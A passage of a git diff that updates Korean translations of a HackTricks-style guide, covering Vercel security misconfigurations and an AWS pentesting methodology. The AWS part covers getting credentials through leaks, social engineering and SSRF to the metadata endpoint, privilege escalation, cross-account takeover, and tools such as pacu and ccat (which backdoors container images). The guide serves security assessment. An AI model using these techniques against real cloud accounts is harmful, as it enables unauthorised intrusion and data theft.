Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다. +- **지적 재산 노출:** 독점 코드가 팀 외부에 배포되고 접근될 수 있습니다. +- **환경 변수 정책:** 팀의 환경 변수를 생성 및 편집하기 위한 정책을 시행합니다. 특히, 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다. +- **잘못된 구성:** 민감한 환경 변수의 강제를 비활성화합니다. +- **위험:** +- **비밀 노출:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다. +- **데이터 유출:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다. +- **감사 로그:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다. +- **잘못된 구성:**\ 무단 팀 구성원에게 감사 로그에 대한 접근을 부여합니다. -- **Risks:** -- **Privacy Violations:** 민감한 사용자 활동 및 데이터의 노출. -- **Tampering with Logs:** 악의적인 행위자가 로그를 변경하거나 삭제하여 자신의 흔적을 감출 수 있습니다. -- **SAML Single Sign-On:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 Identity Provider(IdP)와 통합할 수 있습니다. -- **Misconfiguration:** 공격자가 SAML 매개변수(예: Entity ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다. -- **Risk:** 지속성 유지. -- **IP Address Visibility:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다. -- **Misconfiguration:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두는 것. -- **Risks:** -- **Privacy Violations:** GDPR과 같은 데이터 보호 규정 준수 실패. -- **Legal Repercussions:** 개인 데이터를 잘못 처리하여 발생할 수 있는 잠재적 벌금 및 처벌. -- **IP Blocking:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다. -- **Misconfiguration:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하는 데 악용할 수 있습니다. -- **Risks:** -- **Service Denial to Legitimate Users:** 유효한 사용자 또는 파트너의 접근 차단. -- **Operational Disruptions:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실. +- **위험:** +- **개인 정보 침해:** 민감한 사용자 활동 및 데이터 노출. +- **로그 변조:** 악의적인 행위자가 자신의 흔적을 감추기 위해 로그를 변경하거나 삭제할 수 있습니다. +- **SAML 단일 로그인:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 ID 공급자(IdP)와 통합할 수 있습니다. +- **잘못된 구성:** 공격자가 SAML 매개변수(예: 엔터티 ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다. +- **위험:** 지속성 유지. +- **IP 주소 가시성:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다. +- **잘못된 구성:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두기. +- **위험:** +- **개인 정보 침해:** GDPR과 같은 데이터 보호 규정 준수 실패. +- **법적 결과:** 개인 데이터 처리 부주의로 인한 잠재적 벌금 및 처벌. +- **IP 차단:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다. +- **잘못된 구성:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하도록 악용할 수 있습니다. +- **위험:** +- **정상 사용자에 대한 서비스 거부:** 유효한 사용자 또는 파트너의 접근 차단. +- **운영 중단:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실. --- -### Secure Compute +### 안전한 컴퓨팅 -**Vercel Secure Compute**는 Vercel Functions와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다. +**Vercel 안전한 컴퓨팅**은 Vercel 함수와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다. #### **잠재적인 잘못된 구성 및 위험** -1. **Incorrect AWS Region Selection** -- **Misconfiguration:** Secure Compute 네트워크에 대한 AWS 리전을 백엔드 서비스의 리전과 일치하지 않게 선택합니다. -- **Risk:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하. -2. **Overlapping CIDR Blocks** -- **Misconfiguration:** 기존 VPC 또는 다른 네트워크와 겹치는 CIDR 블록을 선택합니다. -- **Risk:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출이 발생할 수 있습니다. -3. **Improper VPC Peering Configuration** -- **Misconfiguration:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트). -- **Risk:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출. -4. **Excessive Project Assignments** -- **Misconfiguration:** 적절한 격리 없이 여러 프로젝트를 단일 Secure Compute 네트워크에 할당합니다. -- **Risk:** 공유 IP 노출로 인해 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다. -5. **Inadequate IP Address Management** -- **Misconfiguration:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다. -- **Risk:** IP 스푸핑, 추적 취약점 및 IP가 악의적인 활동과 연관될 경우 블랙리스트에 올라갈 수 있습니다. -6. **Including Build Containers Unnecessarily** -- **Misconfiguration:** 빌드 중 백엔드 접근이 필요하지 않을 때 빌드 컨테이너를 Secure Compute 네트워크에 추가합니다. -- **Risk:** 공격 표면이 확대되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비가 발생합니다. -7. **Failure to Securely Handle Bypass Secrets** -- **Misconfiguration:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다. -- **Risk:** 보호된 배포에 대한 무단 접근이 발생하여 공격자가 악성 코드를 조작하거나 배포할 수 있습니다. -8. **Ignoring Region Failover Configurations** -- **Misconfiguration:** 수동 장애 조치 지역을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다. -- **Risk:** 기본 지역 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다. -9. **Exceeding VPC Peering Connection Limits** -- **Misconfiguration:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다. -- **Risk:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다. -10. **Insecure Network Settings** -- **Misconfiguration:** 약한 방화벽 규칙, 암호화 부족 또는 Secure Compute 네트워크 내에서 잘못된 네트워크 분할. -- **Risk:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성이 증가합니다. +1. **잘못된 AWS 리전 선택** +- **잘못된 구성:** 백엔드 서비스의 리전과 일치하지 않는 안전한 컴퓨팅 네트워크를 위한 AWS 리전을 선택합니다. +- **위험:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하. +2. **CIDR 블록 중복** +- **잘못된 구성:** 기존 VPC 또는 다른 네트워크와 중복되는 CIDR 블록을 선택합니다. +- **위험:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출. +3. **부적절한 VPC 피어링 구성** +- **잘못된 구성:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트). +- **위험:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출. +4. **과도한 프로젝트 할당** +- **잘못된 구성:** 적절한 격리 없이 여러 프로젝트를 단일 안전한 컴퓨팅 네트워크에 할당합니다. +- **위험:** 공유 IP 노출로 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다. +5. **부적절한 IP 주소 관리** +- **잘못된 구성:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다. +- **위험:** IP 스푸핑, 추적 취약점 및 IP가 악성 활동과 연관될 경우 블랙리스트에 올라갈 가능성. +6. **불필요하게 빌드 컨테이너 포함** +- **잘못된 구성:** 빌드 중 백엔드 접근이 필요하지 않을 때 안전한 컴퓨팅 네트워크에 빌드 컨테이너를 추가합니다. +- **위험:** 공격 표면이 확장되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비. +7. **우회 비밀을 안전하게 처리하지 않음** +- **잘못된 구성:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다. +- **위험:** 보호된 배포에 대한 무단 접근이 가능해져 공격자가 악성 코드를 조작하거나 배포할 수 있습니다. +8. **리전 장애 조치 구성 무시** +- **잘못된 구성:** 수동 장애 조치 리전을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다. +- **위험:** 기본 리전 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다. +9. **VPC 피어링 연결 한도 초과** +- **잘못된 구성:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다. +- **위험:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다. +10. **불안전한 네트워크 설정** +- **잘못된 구성:** 약한 방화벽 규칙, 암호화 부족 또는 안전한 컴퓨팅 네트워크 내에서 부적절한 네트워크 분할. +- **위험:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성 증가. --- -### Environment Variables +### 환경 변수 **목적:** 모든 프로젝트에서 사용하는 환경별 변수 및 비밀을 관리합니다. -#### Security Configurations: +#### 보안 구성: -- **Exposing Sensitive Variables** -- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다. -- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다. -- **Sensitive disabled** -- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다. -- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다. +- **민감한 변수 노출** +- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다. +- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다. +- **민감한 비활성화** +- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다. +- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index cd547eb5d..303ec6548 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,9 +4,9 @@ ## 기본 정보 -**AWS** 환경에서 **펜테스팅**을 시작하기 전에, AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 찾는 방법, 그리고 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다. +**AWS** 환경에서 **펜테스팅**을 시작하기 전에 AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 어떻게 찾는지, 그리고 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다. -조직 계층 구조, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다: +조직 계층, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다: {{#ref}} aws-basic-information/ @@ -34,7 +34,7 @@ AWS 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있 레드 팀 관점에서, **AWS 환경을 타격하기 위한 첫 번째 단계**는 일부 **자격 증명**을 얻는 것입니다. 다음은 이를 수행하는 방법에 대한 몇 가지 아이디어입니다: - github(또는 유사한 곳)의 **유출** - OSINT -- **사회적** 공학 +- **소셜** 엔지니어링 - **비밀번호** 재사용 (비밀번호 유출) - AWS 호스팅 애플리케이션의 취약점 - [**서버 측 요청 위조**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 메타데이터 엔드포인트에 접근 @@ -51,20 +51,20 @@ AWS 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있 aws-unauthenticated-enum-access/ {{#endref}} -또는 **검토**를 수행하는 경우, 이러한 역할로 **자격 증명을 요청**할 수 있습니다: +또는 **검토**를 수행하는 경우 이러한 역할로 **자격 증명을 요청**할 수 있습니다: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> 자격 증명을 얻은 후, **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로, 기본적인 열거 작업을 수행해야 합니다: +> 자격 증명을 얻은 후에는 **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로 기본적인 열거 작업을 수행해야 합니다: ## 기본 열거 ### SSRF -AWS 내부의 머신에서 SSRF를 발견한 경우, 이 페이지에서 요령을 확인하세요: +AWS 내부의 머신에서 SSRF를 발견한 경우 이 페이지에서 요령을 확인하세요: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -가장 먼저 알아야 할 것은 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다: +가장 먼저 알아야 할 것 중 하나는 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다: ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -100,28 +100,28 @@ aws-services/aws-organizations-enum.md ### IAM 열거 -충분한 권한이 있다면 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**이 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다. +충분한 권한이 있는 경우 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**은 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다. -IAM을 열거할 충분한 권한이 없다면 **무차별 대입 공격을 통해** 알아낼 수 있습니다.\ -**열거 및 무차별 대입 공격 방법**은 다음에서 확인하세요: +IAM을 열거할 충분한 권한이 없는 경우 **무작위 대입 공격을 통해** 알아낼 수 있습니다.\ +**열거 및 무작위 대입 공격 방법**은 다음에서 확인하세요: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 어떤 서비스가 사용되고 있는지 파악할 시간입니다.\ +> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\ > 다음 섹션에서는 **일반 서비스 열거 방법**을 확인할 수 있습니다. ## 서비스 열거, 사후 활용 및 지속성 -AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 **사후 활용** 트릭을 찾을 수 있습니다: +AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 기타 **사후 활용** 기법을 찾을 수 있습니다: {{#ref}} aws-services/ {{#endref}} -모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동화 도구**](./#automated-tools)에 대한 **섹션**을 찾을 수 있습니다. +모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동 도구**](./#automated-tools)에 대한 **섹션**을 찾을 수 있습니다. 또한 이 단계에서 **인증되지 않은 사용자에게 노출된 더 많은 서비스**를 발견했을 수 있으며, 이를 악용할 수 있습니다: @@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/ ## 권한 상승 -다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 집중해야 합니다: +다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 최소한 집중해야 합니다: {{#ref}} aws-privilege-escalation/ @@ -152,16 +152,16 @@ https://book.hacktricks.xyz/ ### 루트/관리 계정에서 -관리 계정이 조직 내에 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 새 계정에 접근할 수 있는 **AdministratorAccess** 정책이 부여됩니다. +관리 계정이 조직 내에서 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 **AdministratorAccess** 정책이 부여되어 새 계정에 접근할 수 있습니다.
따라서 자식 계정에 관리자 권한으로 접근하려면 다음이 필요합니다: - **관리** 계정을 **침해**하고 **자식 계정의 ID**와 **역할의 이름**(기본적으로 OrganizationAccountAccessRole)을 찾아 관리 계정이 관리자 권한으로 접근할 수 있도록 합니다. -- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 가거나 `aws organizations list-accounts`를 실행합니다. +- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 이동하거나 `aws organizations list-accounts`를 실행합니다. - 역할의 이름을 직접 찾을 수 없으므로 모든 사용자 정의 IAM 정책을 확인하고 **이전에 발견된 자식 계정에 대한 `sts:AssumeRole`을 허용하는 정책**을 검색합니다. -- **자식 계정의 역할에 대한 `sts:AssumeRole` 권한을 가진 관리 계정의 **주체**를 **침해**합니다** (관리 계정에서 누구나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다). +- **관리 계정의 주체를 침해**하고 **자식 계정의 역할에 대한 `sts:AssumeRole` 권한**을 부여합니다 (계정이 관리 계정의 누구에게나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다). ## 자동화 도구 @@ -178,8 +178,8 @@ AWS_PROFILE= aws_recon \ --regions global,us-east-1,us-east-2 \ --verbose ``` -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체로부터 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능을 포함하고 있습니다. +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능이 포함되어 있습니다. ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -233,14 +233,14 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등을 포함한 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에서 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): AWS 계정과 연결된 모든 공용 IP 주소(IPv4/IPv6 모두)를 **가져오는** 도구입니다. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 권한이 높은 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **권한 정책 정의**를 찾을 수 있습니다. -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **권한 정의**를 찾을 수 있습니다. +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 특권이 있는 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **특권 정책 정의**를 찾을 수 있습니다. +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **특권 권한 정의**를 찾을 수 있습니다. - pacu는 **자신의 privescs 경로만 확인합니다** (계정 전체가 아님). ```bash # Install @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **권한 상승** 및 공격자가 AWS에서 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용되는 **권한**은 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일 이름에서 확인할 수 있습니다. +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **권한 상승** 및 공격자가 AWS의 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용된 **권한**은 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일 이름에서 확인할 수 있습니다. ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining은 최소 권한 위반을 식별하고 위험 우선 순위가 매겨진 HTML 보고서를 생성하는 AWS IAM 보안 평가 도구입니다.\ -잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **주체가 접근할 수 있는지** 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다). +잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **정책에 접근할 수 있는 주체**를 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다). ```bash # Install pip install cloudsplaining @@ -290,13 +290,13 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 **서브도메인 하이재킹 취약점**에 대해 AWS 계정을 평가합니다. +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 AWS 계정의 **서브도메인 하이재킹 취약점**을 평가합니다. - [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR 리포지토리 목록 -> ECR 리포지토리 가져오기 -> 백도어 추가 -> 백도어가 추가된 이미지 푸시 -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 **비공식적으로 남겨졌을 수 있는 비밀**을 찾기 위해 공개 Elastic Block Storage (**EBS**) 스냅샷을 **검색하는** 도구입니다. +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 공개 Elastic Block Storage (**EBS**) 스냅샷을 통해 **비밀**을 검색하는 도구입니다. ### 감사 -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) 및 GitHub를 포함하여 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다). +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) 및 GitHub를 포함한 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다). ```bash ./index.js --csv=file.csv --console=table --config ./config.js @@ -314,7 +314,7 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 낯선 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스터 및 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 익숙하지 않은 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스트 전문가와 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다. ```bash cloudfox aws --profile [profile-name] all-checks ``` @@ -336,7 +336,7 @@ scout aws -p dev - [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian은 공용 클라우드 계정 및 리소스를 관리하기 위한 규칙 엔진입니다. 사용자가 **잘 관리된 클라우드 인프라를 가능하게 하는 정책을 정의**할 수 있도록 합니다. 이는 조직이 보유한 많은 임시 스크립트를 경량화되고 유연한 도구로 통합하며, 통합된 메트릭 및 보고서를 제공합니다. - [**pacbot**](https://github.com/tmobile/pacbot)**: 코드로서의 정책 봇 (PacBot)**은 **클라우드를 위한 지속적인 준수 모니터링, 준수 보고 및 보안 자동화** 플랫폼입니다. PacBot에서는 보안 및 준수 정책이 코드로 구현됩니다. PacBot에 의해 발견된 모든 리소스는 이러한 정책에 대해 평가되어 정책 준수 여부를 판단합니다. PacBot **자동 수정** 프레임워크는 미리 정의된 조치를 취하여 정책 위반에 자동으로 대응할 수 있는 기능을 제공합니다. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 